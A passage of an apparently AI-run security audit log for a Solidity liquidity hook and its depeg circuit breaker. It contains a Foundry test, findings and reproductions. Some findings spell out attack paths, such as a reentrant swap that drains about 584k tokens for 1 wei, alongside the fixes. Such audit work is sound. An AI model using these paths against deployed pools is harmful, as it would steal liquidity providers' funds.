MIT\npragma solidity 0.8.26;\n\nimport {Test} from \"forge-std/Test.sol\";\nimport {Vm} from \"forge-std/Vm.sol\";\nimport {IReactive} from \"src/reactive/IReactive.sol\";\nimport {OrbitalDepegReactive} from \"src/reactive/OrbitalDepegReactive.sol\";\n\n/// @notice Inside the ReactVM, `react()` transactions are sent *from the RVM id* — the EOA that\n/// deployed the reactive contract (verified against Reactive Lasna: `rnk_getRnkAddressMapping` and\n/// the `from` field of live `react(LogRecord)` transactions, selector 0x0d152c2c). The system\n/// contract 0x…fffFfF has no code in the ReactVM and is never the caller. `OrbitalDepegReactive.react`\n/// requires `msg.sender == SERVICE`, so every delivered log reverts with `NotSystemContract` and the\n/// circuit breaker can never emit a `Callback`. This test models the real caller and fails on the\n/// current code; it passes once `react` accepts the ReactVM's actual sender.\ncontract ReactSenderTest is Test {\n    uint256 constant ORIGIN_CHAIN = 11155111;\n    uint256 constant DEST_CHAIN = 1301;\n    address feed = makeAddr(\"chainlink-aggregator\");\n    address callbackTarget = makeAddr(\"orbital-depeg-callback\");\n    address rvmId = makeAddr(\"reactive-deployer\"); // the EOA that deploys the reactive contract\n\n    OrbitalDepegReactive reactive;\n\n    function setUp() public {\n        // Deployed from the RVM id EOA, exactly like `forge create` from the breaker operator's key.\n        vm.prank(rvmId);\n        reactive = new OrbitalDepegReactive(ORIGIN_CHAIN, feed, DEST_CHAIN, callbackTarget, 500_000, 1e8, 200);\n        assertTrue(reactive.isReactVm(), \"no system contract code here, as in the ReactVM\");\n        assertEq(reactive.owner(), rvmId);\n    }\n\n    function logRecord(int256 price, uint256 roundId) internal view returns (IReactive.LogRecord memory) {\n        return IReactive.LogRecord({\n            chain_id: ORIGIN_CHAIN,\n            _contract: feed,\n            topic_0: uint256(keccak256(\"AnswerUpdated(int256,uint256,uint256)\")),\n            topic_1: uint256(price),\n            topic_2: roundId,\n            topic_3: 0,\n            data: abi.encode(block.timestamp),\n            block_number: 1,\n            op_code: 0,\n            block_hash: 0,\n            tx_hash: 0,\n            log_index: 0\n        });\n    }\n\n    /// The ReactVM delivers a depeg log: the transaction's `from` is the RVM id, so `msg.sender`\n    /// inside `react` is the RVM id. The breaker must emit `Callback` for an out-of-band price.\n    function test_reactFromRvmIdEmitsCallbackOnDepeg() public {\n        IReactive.LogRecord memory rec = logRecord(0.97e8, 42);\n        vm.recordLogs();\n        vm.prank(rvmId, rvmId); // msg.sender and tx.origin are the RVM id, as in a live ReactVM tx\n        reactive.react(rec);\n        Vm.Log[] memory logs = vm.getRecordedLogs();\n        bytes32 sig = keccak256(\"Callback(uint256,address,uint64,bytes)\");\n        bool emitted;\n        for (uint256 i = 0; i < logs.length; i++) {\n            if (logs[i].topics[0] == sig) {\n                emitted = true;\n                assertEq(uint256(logs[i].topics[1]), DEST_CHAIN, \"destination chain\");\n                assertEq(address(uint160(uint256(logs[i].topics[2]))), callbackTarget, \"callback target\");\n                bytes memory payload = abi.decode(logs[i].data, (bytes));\n                assertEq(bytes4(payload), bytes4(keccak256(\"depeg(address,address,int256,uint256)\")));\n            }\n        }\n        assertTrue(emitted, \"depeg must request a cross-chain callback when the ReactVM delivers the log\");\n    }\n}","reproduction":".imd/reads/proofs/Proof_320da4507ddb.t.sol, copied to test/scratch/ and run: deploy OrbitalDepegReactive(11155111, feed, 1301, callback, 500_000, 1e8, 200) from EOA D (isReactVm == true, owner == D); then vm.prank(D, D); reactive.react(LogRecord{chain_id 11155111, _contract feed, topic_0 keccak256('AnswerUpdated(int256,uint256,uint256)'), topic_1 0.97e8, topic_2 42}). Expected: DepegDetected and Callback(1301, callback, 500000, depeg(...)) emitted. Actual: revert NotSystemContract(); the test fails with '[FAIL: NotSystemContract()]'.","severity":"high","snippet":"        if (msg.sender != SERVICE) revert NotSystemContract();","title":"OrbitalDepegReactive.react() requires msg.sender == system contract, but inside the ReactVM react transactions are sent from the RVM id (the deployer EOA): every delivered log reverts and the circuit "},{"citation":"resolved","description":"deposit() adds the new position's virtual vector to _x (line 357) and only then calls _settleFees (line 360), which unlocks the PoolManager and takes the caller's pending fees to the caller (ERC-20 transfer from the manager). L.radius, totalRadius and positions are updated after that call (lines 361-367). Between 357 and 365 the state is inconsistent: reserves are inflated by the new share while the interior radius is unchanged, so with radius ~= r_int the point sits deep inside the torus (F < 0). _beforeSwap has no reentrancy guard (nonReentrant covers deposit/withdraw/collectFees only) and PoolManager.swap is callable by anyone while the manager is unlocked, which it is during the hook's own unlock callback. If a basket coin notifies recipients on transfer (ERC-777 tokensReceived, ERC-1363 onTransferReceived, or any receiver hook), the depositor's callback calls PoolManager.swap with an exact-output order: OrbitalMath.solveIn returns 0 because _f(p, 0, dOut) <= 0 (line 189), _execute sets rawIn = 1 (line 318), and the hook burns its output claims for 1 wei of input. The attacker takes the output, settles 1 wei, lets deposit() finish (it pulls only the pre-computed amounts) and withdraws. Precondition: a basket coin with a transfer hook (USDC/USDT/DAI have none; the hook accepts any 2..8 ERC-20s). Also the Slither reentrancy-no-eth lead at line 335. Fix: call _settleFees before mutating _x and after all position/radius updates are consistent, and reject re-entrant swaps in _beforeSwap (if (_entered != 1) revert Reentrancy();). Reported by audit_economics; reproduced by me with my own test.","line":357,"path":"src/OrbitalHook.sol","reproduction":"test/scratch/Reenter.t.sol (attached as proof). Basket {A (notifies contract recipients on transfer), B, C} all 18 dec, ticks {0.74e18, 1.15e18}, fee 400 ppm. (1) victim deposit(1, 2,000,000e18). (2) attacker contract deposit(0, 1,000,000e18). (3) trader exact-in 100,000e18 A -> B (attacker accrues ~13 A of fees). (4) attacker calls deposit(0, 3,000,000e18, max): inside, after _x += virt, _settleFees takes ~13 A to the attacker; the token calls attacker.onTokenReceived; the attacker binary-searches the largest exact-output B that quoteExactOutput prices at 1 wei of A, calls PoolManager.swap for it, takes 848,925,248,871,680,865,376,908 wei of B and settles 1 wei of A; deposit() then completes. (5) attacker withdraws its 4,000,000e18 radius and collects fees. Expected: attacker's A+B+C after <= before + fees and spread (bounded at +10,000e18 in the test). Actual: 299,705,529.58e18 before step 3 -> 300,584,129.10e18 after (about +584,000 tokens net of the ~294,000 it had deposited in step 2). The proof fails on this tree with '300584129099933510101954031 > 299715529583455854120827128'.","severity":"medium","snippet":"            _x[k] += virt[k]; // the sub-unit rounding surplus stays in the manager as dust","title":"deposit() inflates _x before paying fees out through an external token transfer; a basket token with a receiver hook lets the depositor re-enter PoolManager.swap against a half-updated pool and drain "},{"citation":"resolved","description":"The hook keeps two representations of a tick's status: the stored boundaryMask and the derived position alphaIntNorm = floor((alpha - kb) * WAD / r_int) (OrbitalMath.sol:139-141). The documented invariant (line 547) is pinned iff alphaIntNorm >= kNorm. _nextCrossing only re-synchronises them when a trade's endpoints bracket kNorm with one-sided comparators: a pinned tick is unpinned only if k <= aNow (line 826) and an interior tick is pinned only if k >= aNow (line 816). When a trade crosses a plane it lands exactly on it (planeStep) and alphaIntNorm == kNorm. From that state every interior deposit (_tokenShare floors val*radius/c.r per token, so S grows slightly less than r) and every partial withdrawal from the pinned tick move alphaIntNorm to kNorm - 1 while the mask is untouched (deposit rewrites the bit only when L.radius == 0, line 361). k <= aNow is then false for every later return trade, so the tick stays on its boundary circle while the interior travels back through the peg. The trade is served by less liquidity (worse execution for the trader, surplus to interior LPs) and the frozen tick's LP keeps a depeg-skewed reserve vector at the peg. Any trader can hit the exact pin amount (binary search on boundaryMask) and any LP (even MIN_RADIUS) supplies the nudge. The mirror case (interior tick left one unit above its plane, never pinned) uses the comparator at line 816. Fix: reconcile mask with position at the start of _simulate (pin if interior and k < aNow, unpin if pinned and k > aNow) and/or make _nextCrossing treat ticks already past the comparison point as crossed. Reported by audit_math; its proof fails on this tree for the stated reason.","line":826,"path":"src/OrbitalHook.sol","reproduction":".imd/reads/proofs/Proof_12774d353b7a.t.sol, copied to test/scratch/ and run: three 18-dec tokens, kNorms {0.74e18, 1.15e18}, fee 400 ppm; LP deposits 1e24 at level 0 and 2e24 at level 1. (1) exact-in A->B of the smallest amount that pins level 0 (found by binary search; 287,443,796,572,854,664,222,089 wei): boundaryMask == 1, alphaIntNorm() == 0.74e18. (2) LP deposit(1, 1e24): boundaryMask == 1, alphaIntNorm() == 0.74e18 - 1. (3) exact-in B->A of 250,000e18. Expected: level 0 unpins at its plane, boundaryMask == 0, trader receives ~302,257.79 A. Actual: alphaIntNorm() == 732,052,469,882,506,119 (far below 0.74e18) with boundaryMask still 1; trader receives 291,196.58 A. The proof fails with 'tight tick must have rejoined the interior: 1 != 0'.","severity":"medium","snippet":"                if (k >= aAfter && k <= aNow && (!found || k > int256(lv[best].kNorm))) {","title":"Tick pin/unpin mask desynchronises from the interior position by one rounding unit after any deposit or partial withdrawal, so a pinned tick never rejoins the interior and return trades are mispriced "},{"citation":"resolved","description":"_levelVector reverts NoInteriorLiquidity for a deposit into an empty tick whenever the consolidated interior radius is zero (line 668, and line 671 for a non-boundary tick), and _step reverts the same way for every swap (line 746). Once a tick is pinned (intended during a depeg) and the interior LPs withdraw, which is exactly the sequence the breaker encourages (pause, LPs exit, owner resumes), totalRadius > 0 but r_int = 0: nobody can open an interior position, no trade can bring the price back toward the peg (the only way a pinned tick unpins), and the pool stays dead until the pinned LP(s) voluntarily withdraw everything. A single abandoned MIN_RADIUS position in a tight tick blocks the whole basket. Funds are not locked (withdraw works) but the pool cannot recover. The README's 'Known limitations' says this needs the whole basket far off-peg at once; it needs one pinned tick and one withdrawal. Fix direction: allow an interior deposit when r_int == 0 by opening a fresh interior sphere at the pinned ticks' plane (the point is determined by kb, sb and w-hat), or let the owner/anyone re-seed the interior. Reported by the tester; reproduced by me.","line":668,"path":"src/OrbitalHook.sol","reproduction":"test/scratch/Deadlock.t.sol: basket {A, B} 18 dec, ticks kNorm {0.5e18, 0.7e18}, fee 400 ppm. pinnedLp deposit(0, 1e24); interiorLp deposit(1, 2e24); trader sells 300,000e18 A for B repeatedly until boundaryMask == 1 (4 trades); interiorLp withdraw(1, 2e24): consolidated() returns r = 0, totalRadius == 1e24. newLp deposit(1, 1e24, max). Expected: succeeds, and a 1e18 B->A swap then succeeds. Actual: deposit reverts with 0x7b6098c1 (NoInteriorLiquidity); the swap reverts the same way wrapped in v4's WrappedError.","severity":"medium","snippet":"            if (c.r == 0) revert NoInteriorLiquidity();","title":"Pool deadlocks when only pinned (boundary) liquidity remains: no interior deposit and no swap is possible until the pinned LP withdraws everything"},{"citation":"resolved","description":"The Withdraw branch of unlockCallback loops over all N basket tokens and, for every non-zero amount, burns the hook's claim and takes the ERC-20 to the LP (lines 452-455). take performs an ERC-20 transfer from the PoolManager; if that transfer reverts for one coin the whole unlock reverts and the LP receives none of the other N-1 coins. An LP cannot opt out of a coin: amounts[k] comes from the geometry (lines 392-402) and a coin is skipped only when amount == 0. The protocol's premise is that one basket coin may collapse, and a collapsing stablecoin is the one whose issuer pauses transfers or freezes addresses (USDT pause(), USDC blacklist, both revert on transfer). While that persists no LP can withdraw any coin and no LP can collect fees, contradicting the README's 'Withdrawals always work, paused or not'. The same holds per-LP when an issuer blacklists that LP's address. Fix: make delivery per-coin resilient, e.g. transfer the ERC-6909 claim to the LP (poolManager.transfer(data.account, c.toId(), amount)) when the ERC-20 take fails, or always, so a frozen coin strands only itself. Reported by audit_economics; its proof fails on this tree for the stated reason.","line":454,"path":"src/OrbitalHook.sol","reproduction":".imd/reads/proofs/Proof_09dbf566d21e.t.sol, copied to test/scratch/ and run: basket {A, B, C} where C is an ERC-20 with an issuer pause switch, ticks {0.74e18, 1.15e18}. (1) LP deposit(1, 1,000,000e18). (2) C.setPaused(true). (3) LP withdraw(1, 1,000,000e18, [0,0,0]). Expected: the LP recovers A and B (as tokens or as redeemable claims), only C is stranded. Actual: the call reverts with C's 'paused' error bubbled through PoolManager.take and the LP receives nothing; the proof fails with 'withdraw reverted because usdC is frozen'. collectFees(1) reverts the same way for as long as C stays paused.","severity":"medium","snippet":"                poolManager.take(c, data.account, amount);","title":"withdraw()/collectFees() deliver every basket coin in one unlock callback, so one frozen coin (issuer pause or LP blacklist) locks the LP's healthy coins too"},{"citation":"resolved","description":"The manifest lists the hook's constructor arguments as [$poolManager, 0x0 (owner), 0x0 (guardian), \"0\", \"0\", \"0\", \"400\"]. OrbitalHook's constructor (src/OrbitalHook.sol:164-214) is (IPoolManager, address owner, address guardian, address[] basket, uint8[] decimals, uint256[] kNorms, uint24 feePpm): the first statement is `if (_owner == address(0)) revert ZeroAddress();` (line 173), so the attested creation code with these arguments reverts before anything else, and arguments 3-5 are dynamic arrays that no ABI encoder produces from the string \"0\" (an empty basket would also revert InvalidTokens at line 174, and empty kNorms InvalidLevels at line 177). The manifest's own notes record this as a 'BLOCKING GAP' and that the protected Hook floor reports 'hook deployment reverted'. The consequence is that the accepted tree has no deployable launch: the univ4_hook manifest format carries $poolManager, literal addresses and integers only, while this hook needs a privileged owner and three arrays at construction. This is a code/manifest incompatibility of the deliverable, not a missing schema field. Fix on the code side (the only side a worker controls): a hook revision whose constructor takes only (IPoolManager, uint24 feePpm) or (IPoolManager, address owner, ...) expressible values, with basket, decimals and ticks configured once after construction (owner-only, lockable) and the owner derived from a manifest-expressible value; or document the needed deployer feature (array arguments, $owner) and hold the launch until it exists. Found in my own pass of the manifest against the constructor.","line":7,"path":"launch.json","reproduction":"Deploy type(OrbitalHook).creationCode with abi.encode(poolManager, address(0), address(0), new address[](0), new uint8[](0), new uint256[](0), uint24(400)) (the closest valid encoding of the manifest's arguments). Expected: a hook at a flag-matching address. Actual: constructor reverts ZeroAddress() at src/OrbitalHook.sol:173 (with a non-zero owner it would revert InvalidTokens() at line 174 for the empty basket). The protected floor's deployAtFlags therefore fails with 'hook deployment reverted', as the manifest notes themselves state.","severity":"medium","snippet":"      \"0x0000000000000000000000000000000000000000\",","title":"launch.json constructorArgs cannot instantiate OrbitalHook: a zero owner reverts ZeroAddress and the three array arguments are written as the scalar \"0\""},{"citation":"resolved","description":"deploy() passes address(this), the script contract, as the hook's owner (lines 68 and 72), then calls d.hook.setGuardian(...) and d.hook.transferOwnership(cfg.owner) (lines 76-77). run() wraps deploy() in vm.startBroadcast(), under which every external call at the script's depth is sent from the broadcaster EOA, not from the script contract (which has no on-chain existence). The hook's onlyOwner modifier compares msg.sender (broadcaster) with owner (script contract) and reverts NotOwner. test/Deploy.t.sol calls deploy() without broadcast, where the test contract is both address(this) and msg.sender, so the suite never sees it. In the default run forge's simulation reverts and nothing is sent, so README 'Order of operations' step 1 cannot complete; if forced through with --skip-simulation/--resume, token and hook are deployed with owner = a dead address and guardian = 0: pause/unpause/setFee/setGuardian/transferOwnership unreachable forever. The IMD factory path (owner and guardian as constructor args) is unaffected. Fix: predict the CREATE2 hook address, deploy OrbitalDepegCallback against it, then deploy the hook with owner = cfg.owner and guardian = address(callback) in the constructor; or use msg.sender as the interim owner. Reported by audit_permissions; its proof fails on this tree for the stated reason.","line":76,"path":"script/DeployOrbital.s.sol","reproduction":".imd/reads/proofs/Proof_07b66b7d77ae.t.sol, copied to test/scratch/ and run: from inside a contract inheriting DeployOrbital, vm.startBroadcast(broadcaster); deploy(cfg) with cfg.create2Deployer = DEFAULT_CREATE2_DEPLOYER (what run() sets). Trace: new OrbitalToken (ok) -> CREATE2 hook with owner = script contract (ok) -> new OrbitalDepegCallback (ok) -> OrbitalHook.setGuardian(callback) reverts NotOwner() because msg.sender is the broadcaster. Expected: hook.owner() == cfg.owner and hook.guardian() == address(callback). Actual: the proof fails with '[FAIL: NotOwner()]'.","severity":"medium","snippet":"        d.hook.setGuardian(address(d.callback));","title":"DeployOrbital makes the script contract the hook's first owner, so under --broadcast the owner-only guardian wiring reverts NotOwner and the breaker cannot be deployed through the documented script"},{"citation":"resolved","description":"_tokenShare's boundary branch (line 694) prices a pinned tick's vector as k*r/sqrtN + (s*r/WAD) * dir / WAD where dir is a WAD-precision unit-vector component rounded to the nearest 1e-18; the rounding error is multiplied by s*r/WAD (~1e5 wei for r = 1e24), so a withdrawal from a pinned tick can be paid up to ~1e5 wei more than its exact share (the tester's fuzz observed +89,884 wei on a 1.68e24 deposit/withdraw cycle). In addition _virtualFloor subtracts floor(xMinNorm * cumulativeRadius / WAD) per level while withdraw credits floor(xMinNorm * radius / WAD) per call, so realReserves can over-state backing by one WAD-wei per withdrawal. withdraw and _settleFees compute amounts from the accounting (amounts[k] = min(virt - floorK, _x - floorAll) / scale) and never consult the hook's ERC-6909 balance; unlockCallback burns exactly that amount (line 453), and PoolManager's ERC-6909 burn underflows (panic 0x11) when the hook holds fewer claims. The last LP therefore cannot withdraw its full position (the position is 'always withdrawable' by design, including while paused) and can only exit by leaving a dust tail; the same panic can hit the last collectFees. Loss is wei-level; the revert is the defect. Fix: in the Withdraw branch cap amount at poolManager.balanceOf(address(this), c.toId()) so the last withdrawer absorbs the dust, and round the boundary share down. Merges audit_economics' low finding with the tester's info finding (same root cause); reproduced by me.","line":453,"path":"src/OrbitalHook.sol","reproduction":"test/scratch/LastWithdraw.t.sol, seed 5 of its deterministic generator (basket {A 18, B 18, C 6}, ticks {0.74e18, 0.95e18, 1.15e18}, fee 400 ppm, three LPs): deposits lp1(L1, 2e24), lp0(L2, 3e24), lp2(L1, 3e24); exact-out swap of 540,027e18 between the two 18-dec coins; deposits lp0(L2, 3e24), lp1(L0, 1e24), lp2(L0, 1e24); withdraw lp2(L0, 333,333.33e18), withdraw lp1(L1, 666,666.66e18); exact-out C -> 18-dec coin 135,770e6; deposit lp2(L2, 2e24); exact-out C -> other coin 694,169e6; exact-in C -> same coin 274,323e6; deposit lp0(L1, 2e24). State: hook's claims of token index 1 = 4,618,165,909,861,770,583,240,516 vs accounted realReserves/scale = ...518 (2 wei short). Then every LP withdraws each position in full: the last one, lp2 withdraw(2, 2e24), reverts inside unlockCallback at poolManager.burn with panic 0x11 (0x4e487b71...11). Expected: all nine withdrawals succeed and totalRadius ends at 0.","severity":"low","snippet":"                poolManager.burn(address(this), c.toId(), amount);","title":"Boundary-tick share rounding is not pool-favoured, so the hook's claim balance can end a few wei below its accounted real reserves and the last full withdrawal reverts with an arithmetic panic"},{"citation":"resolved","description":"react() keeps no state: each log whose price is outside the band emits a new Callback (lines 96-104), and OrbitalDepegCallback.depeg -> guardianPause is idempotent, so every callback after the first does nothing useful but is still charged (OrbitalDepegReactive.pay by the system contract for the reactive execution, OrbitalDepegCallback.pay by the proxy for the delivery with a 500k gas limit). Chainlink feeds publish on every heartbeat (typically hourly) and deviation threshold, and a real depeg lasts days. Two consequences: (1) the callback contract's ETH and the Lasna copy's REACT are spent on N-1 useless deliveries per episode; once the callback contract cannot pay, the proxy stops delivering to it and the breaker is unfunded for the next coin, with nothing on-chain signalling it. (2) The design says a human reviews and resumes, but while the feed is still out of band every subsequent round re-pauses the pool straight after unpause(), and a delayed delivery re-pauses on a stale round; depeg() carries roundId but never compares it with the last one acted on, and nothing checks hook.paused() first. Resuming during an orderly depeg (the case tick isolation is built to trade through) then requires disabling the breaker (setGuardian(0) or setRvmId(0)), which is undocumented. Fix: keep a tripped flag in the RVM copy and emit only on the in-band -> out-of-band transition (re-arm on an in-band round or by the owner); on the callback side record the last roundId acted on and skip when hook.paused() is already true; document the resume procedure. Merges three specialist reports (economics, permissions, flow) of the same root cause.","line":104,"path":"src/reactive/OrbitalDepegReactive.sol","reproduction":"Deploy OrbitalDepegReactive(origin, feed, 1301, callback, 500000, 1e8, 200) and OrbitalDepegCallback(proxy, hook, rvmId, owner) with 0.05 ETH; call react() five times from the accepted sender with topic_1 = 0.9e8 and roundId 1..5 (with the sender fix of finding 3, or vm.prank(SERVICE) as test/Reactive.t.sol does). Expected: one Callback for the excursion. Actual: five Callback events (lines 100-104 run unconditionally for each); delivering each through the repository's MockCallbackProxy with a 0.01 ETH charge calls guardianPause() five times and leaves the callback contract at 0 wei. Then owner hook.unpause(); the next out-of-band round calls depeg() again and hook.paused() is true again with no owner action (test/Reactive.t.sol's test_depegPausesThePoolEndToEnd shows a second delivery re-pausing).","severity":"low","snippet":"        emit Callback(destinationChainId, callbackContract, callbackGasLimit, payload);","title":"No latch or round tracking in the breaker: every out-of-band AnswerUpdated emits a paid Callback, draining both funding balances during a sustained depeg and re-pausing the pool right after the owner'"},{"citation":"resolved","description":"_execute credits feeWad * WAD / totalRadius to every unit of radius regardless of whether its tick is interior or pinned, and _settleFees pays radius * (growth - debt) (lines 427-428) with no distinction. A pinned tick's reserves are frozen on its plane (the depeg isolation the design sells), so trades against the interior are served by interior liquidity, yet the pinned tick is paid the same fee per unit radius. Interior LPs subsidise pinned LPs in exactly the regime where the interior carries the depeg risk. The README documents 'in proportion to radius', so this is a design choice and not a theft; it is reported because it inverts the stated LP incentive (the paper and Uniswap v3 pay active liquidity only). Fix direction: accrue fees per unit of interior radius only (track growth against r_int and snapshot a tick's growth when it pins/unpins) and state the rule in the README. Merges audit_economics' and the tester's reports; reproduced by trace (the code path has no interior/boundary branch).","line":326,"path":"src/OrbitalHook.sol","reproduction":"Fixture basket {A, B, C(6)}, ticks {0.74e18, 0.95e18, 1.15e18}: LP1 deposit(0, 1e24) (tight), LP2 deposit(2, 2e24). Trader sells 300,000e18 A for B so tick 0 pins (boundaryMask == 1). Trader sells another 300,000e18 A for C: levelReserves(0)[A] grows by ~11,283e18 (3.8% of the sale) while levelReserves(2)[A] grows by ~288,596e18; the sale's fee is 120 A and pendingFees(0, LP1)[A] grows by 40 A (one third) while LP2 gets 80 A. Expected under 'fees follow liquidity provided': the pinned tick's share is a small fraction of a third. Actual: exactly radius/totalRadius = 1/3, per line 326.","severity":"low","snippet":"        if (feeWad > 0) _feeGrowth[i] += feeWad * WAD / totalRadius;","title":"Swap fees are split purely by radius, so a pinned (isolated) tick keeps a full fee share while absorbing almost none of the trade flow"},{"citation":"resolved","description":"AnswerUpdated is emitted by the aggregator implementation behind the Chainlink proxy, so (as the README says) feed must be the aggregator, not the proxy. Chainlink rotates aggregator implementations through the proxy (proposeAggregator/confirmAggregator); the old aggregator stops emitting. feed is immutable (line 27, set at line 63) and subscribe()/unsubscribe() (lines 110-121) can only re-create the same subscription, so after a rotation the reactive contract never receives another log, react() is never called and the breaker is dead with no on-chain signal (no PriceInBand/DepegDetected, no revert). Recovery needs a redeployment of OrbitalDepegReactive from the same EOA (the RVM id is the deployer) or an OrbitalDepegCallback.setRvmId update. Fix: make the feed updatable by the owner on the Reactive Network copy (unsubscribe old, subscribe new) and mirror it to the RVM copy, or subscribe by topic only and filter on the proxy's current aggregator() in react(); add a liveness check to the runbook. Reported by audit_flow; reproduced by reading the code (no setter exists).","line":27,"path":"src/reactive/OrbitalDepegReactive.sol","reproduction":"State: OrbitalDepegReactive deployed with feed = A1. Chainlink later confirms A2 so proxy.aggregator() == A2 != feed. Input: the coin prints 0.90e8 via A2's AnswerUpdated. Expected: the breaker pauses the pool. Actual: the subscription (originChainId, A1, topic) matches nothing, react() is never invoked, the hook stays unpaused; reactive.subscribe() re-subscribes to A1 again because feed cannot change.","severity":"low","snippet":"    address public immutable feed;","title":"The breaker subscribes to an immutable aggregator address; a Chainlink aggregator rotation silently disables it with no way to re-point"}],"hash":"93afcbeeaf53791b3c7d4df2b406f3aa1076fcecd62729730f2b6b507531b349","nodeId":"0802ac7c-a09f-414b-9d42-6dec031c8311","outcome":"completed","summary":"Findings file is built and validated. Everything I need is in place, so here is the recap.\n\n**Deliverable:** `.imd-findings.json` at the repository root, with 13 findings and a 39-row coverage record (all 35 entry points plus 4 invariant rows). No tracked file was changed. My reproduction tests live under `test/scratch/`, which is gitignored.\n\n**What I kept, after reproducing each against the code**\n\n| # | Severity | Finding | Proof |\n|---|---|---|---|\n| 1 | critical | Return trade through the peg is not split at its turning point; a later deposit drops the pool inside the torus and 1 wei of A is quoted ~267,445 B | my test, fails |\n| 2 | high | Deposits priced off an unprojected `_x`; dust pool at MIN_RADIUS lets an attacker take ~49,980 A from the next depositor for one raw unit of USDC | my test, fails |\n| 3 | high | `react()` rejects the ReactVM's real sender (the RVM id), so the breaker can never fire | specialist proof, fails |\n| 4 | medium | `deposit()` mutates `_x` before the external fee payout; a hooked basket token lets the depositor re-enter `swap` and net ~584k tokens | my test, fails |\n| 5 | medium | Tick mask desyncs by one rounding unit, pinned tick never rejoins | specialist proof, fails |\n| 6 | medium | Pool deadlocks when only pinned liquidity remains | my test |\n| 7 | medium | One frozen basket coin blocks every LP's withdrawals and fee claims | specialist proof, fails |\n| 8 | medium | `launch.json` constructor args cannot instantiate the hook (zero owner, array args as \"0\") | trace |\n| 9 | medium | Deploy script makes the script contract owner, so `--broadcast` reverts `NotOwner` | specialist proof, fails |\n| 10 | low | Boundary-share rounding leaves claims 2 wei short; last full withdrawal panics | my test, seed 5 |\n| 11 | low | Breaker has no latch: repeated paid callbacks, re-pauses after unpause | trace |\n| 12 | low | Pinned ticks earn full fee share (documented design, inverted incentive) | trace |\n| 13 | low | Immutable aggregator address; Chainlink rotation silently disables the breaker | trace |\n\n**Verification notes**\n- Finding 3's premise was checked against the live Lasna RPC: a real `react` transaction has `from` equal to the deployer EOA, and reactive-lib's `AbstractReactive` guards `react` with `vmOnly` only.\n- Merged duplicates: the three \"repeated callback\" reports became finding 11; the two fee-share reports became finding 12; the \"last withdrawal panics\" and \"rounding not pool-favoured\" reports share one root cause and became finding 10.\n- Finding 8 is my own addition from the manifest pass. Finding 2's secondary trigger (withdraw to 3 wei of radius) was traced but not re-run, and the description says so.\n- Nothing was dropped: every specialist finding reproduced. I did not run the full existing suite, only the proofs and my scratch tests.","treeHash":null,"usage":{"cachedInputTokens":2131583,"inputTokens":354,"model":"claude-fable-5-1","outputTokens":89832,"runtime":"claude","turns":42,"wallClockMs":1132963}},{"artifacts":[],"attempt":1,"bundleHash":"b0ce386d230d499ffcc995d00b3308f5340e642be345dad783d765862bd02f15","device":"30a6c1a419ef4f9c","findings":[],"hash":"95ffcf356c4ddd4b44539c1a74c18a2ca7b65218566074f547653ae207953e2e","nodeId":"7000abcf-1b3e-42e8-939f-b8e2c1045dc3","outcome":"completed","summary":"The response file is in place at the repository root, and the harness excludes it from git by design, so nothing else is needed.\n\n**Outcome:** the finding reproduces and cannot be fixed from this assignment. The hook constructor in `src/OrbitalHook.sol` still requires a nonzero owner plus three dynamic arrays, and the only path I may write is launch.json, whose constructor arguments are scalar strings with no owner placeholder. I confirmed this with a scratch test, left the constructor arguments unchanged as a safe failure, and answered the finding as disputed on disposition only.\n\n**What I verified**\n\n- A scratch test in test/scratch deploys the hook with the manifest's arguments encoded as closely as the ABI allows. Raw CREATE2 at a salt mined for flags 0x2888 returns the zero address, and the direct constructor call reverts ZeroAddress. A nonzero owner with empty arrays reverts InvalidTokens. A three-coin control basket deploys at a flag-matching address.\n- The full Foundry suite passes. Repo tests number 92, plus my 3 scratch tests.\n- launch.json validates against the schema and its refinements: kind first, pool manager argument written as the placeholder, permissions equal to getHookPermissions, zero-address paired currency, initial price 2^96.\n\n**What I changed**\n\n- launch.json notes only. The blocking-gap paragraph now cites this round's finding id alongside the earlier one, and the local-check line says 92 tests instead of the stale 85. Notes are 3989 characters, under the cap.\n- .imd-responses.json answers the finding with verdict disputed. The detail states the observation holds, gives the reproduction, and explains that remediation needs either a hook implement revision or deployer support for array arguments and an owner placeholder, after which this manifest should be rewritten.\n\n**What remains blocked:** the launch stays held at admission until one of those two remedies lands in another assignment. No hook, token, or configuration file was touched.","treeHash":"bf16d13964d53e6f81b2568b64695c5b66a67704","usage":{"cachedInputTokens":920971,"inputTokens":418,"model":"claude-fable-5-1","outputTokens":12352,"runtime":"claude","turns":14,"wallClockMs":272436}},{"artifacts":[],"attempt":1,"bundleHash":null,"device":"02ae6543274731ab","findings":[],"hash":"a662b401c85a7f55e953997bb994d95fcef8261079e3ccd22ceb051c9766c3c9","nodeId":"56850df1-1641-47f1-8ca9-b104e51f9b21","outcome":"failed","summary":"This content was flagged for possible cybersecurity risk. If this seems wrong, try rephrasing your request. Otherwise, confirm that the access_programs.cyber parameter is set to the appropriate tier, and note that some cybersecurity requests are still limited, even when Daybreak is on.","treeHash":null,"usage":{"cachedInputTokens":0,"inputTokens":0,"model":"gpt-6-astra","outputTokens":0,"runtime":"codex","turns":2,"wallClockMs":101827}},{"artifacts":[],"attempt":2,"bundleHash":"0ae2860a2973426816fe7cd99a50a68dc1fdd76fe33e9624bf954b1c6c3e11b0","device":"03f15d1296244279","findings":[{"description":"`_nextCrossing` (line 806) decides whether a segment crosses a tick plane from `alphaIntNorm` before and after the *whole* segment. The interior's normalised position is not monotonic along a trade: a trade back toward the peg drives the interior through its own equal point, where the position bottoms out at sqrt(N)-1 (below every k) and rises again. With a tick pinned, the tick must unpin when the position passes k on the way down (and may re-pin on the way up); the endpoint test sees 'went up' and looks only for interior ticks to pin, so nothing happens. The pool continues with the tick pinned while the interior's off-peg component now points *against* the pinned ticks' (global ||w|| < sb). The consolidated torus assumes the two are parallel: `_toPlane` (line 792) only targets ||w|| = sb + r*s, so the plane cannot be hit again (`planeStep` clamps a negative discriminant and either skips the flip, leaving a pinned tick below the interior position, or flips at a point off the torus); and the pinned ticks' reserves are `k*r/sqrtN + s*r*w_hat` with the *global* direction (line 694), so once a later interior deposit (`_tokenShare`, line 700) scales the interior enough to flip the global direction, every pinned tick's holdings jump to the opposite side of its circle with no trade, and F drops to about -2% of r^2. The next `solveOut` prices against that broken surface and gives the excess to whoever trades first. All of this is reachable by honest activity (deposit, a round trip, deposit) and trivially by an attacker who performs the round trip and the deposit, then takes the excess with one wei; the loss falls on every LP pro rata to their share of `_x`. Fix direction: split every trade segment at the point where the interior's w vanishes (or wherever alphaIntNorm reverses), check boundary ticks against the minimum of the path, and never allow the interior onto the lower arc while a tick is pinned (assert ||w|| >= sb after each 